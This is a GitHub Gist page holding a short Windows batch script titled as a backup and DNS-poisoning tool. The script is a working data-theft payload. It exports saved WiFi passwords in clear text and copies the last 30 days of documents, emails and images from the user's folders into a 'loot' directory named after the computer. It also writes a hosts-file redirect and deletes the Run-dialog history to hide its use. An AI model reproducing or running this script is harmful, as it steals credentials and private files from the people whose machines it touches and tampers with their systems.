Created
April 17, 2022 23:34
-
-
Save ranfysvalle02/76ec5ac22d988965b1d363159e632f05 to your computer and use it in GitHub Desktop.
Batch File for backup + dns poison
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@echo off | |
cd /d %~dp0 | |
mkdir \loot\WiFiCreds\%COMPUTERNAME% | |
cd \loot\WiFiCreds\%COMPUTERNAME% | |
netsh wlan export profile key=clear | |
timeout 1 | |
mkdir \loot\DriveLast30\%COMPUTERNAME% | |
cd \loot\DriveLast30\%COMPUTERNAME% | |
robocopy %userprofile%\Documents\ . *.doc* *.xls* *.msg *.txt *.jpg *.jpeg *.png *.gif *.pdf *.one /S /J /MT /MAXAGE:30 /MAX:4000000 /R:0 /np /nfl | |
robocopy %userprofile%\Desktop\ . *.doc* *.xls* *.msg *.txt *.jpg *.jpeg *.png *.gif *.pdf *.one /S /J /MT /MAXAGE:30 /MAX:4000000 /R:0 /np /nfll | |
robocopy %userprofile%\Downloads\ . *.doc* *.xls* *.msg *.txt *.jpg *.jpeg *.png *.gif *.pdf *.one /S /J /MT /MAXAGE:30 /MAX:4000000 /R:0 /np /nfl | |
robocopy %userprofile%\Pictures\ . *.doc* *.xls* *.msg *.txt *.jpg *.jpeg *.png *.gif *.pdf *.one /S /J /MT /MAXAGE:30 /MAX:4000000 /R:0 /np /nfl | |
SET NEWLINE=^& echo. | |
FIND /C /I "probando.dez" %WINDIR%\system32\drivers\etc\hosts | |
IF %ERRORLEVEL% NEQ 0 ECHO %NEWLINE%^127.0.0.1 probando.dez>>%WINDIR%\System32\drivers\etc\hosts | |
REG DELETE HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f | |
timeout 1 | |
exit |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment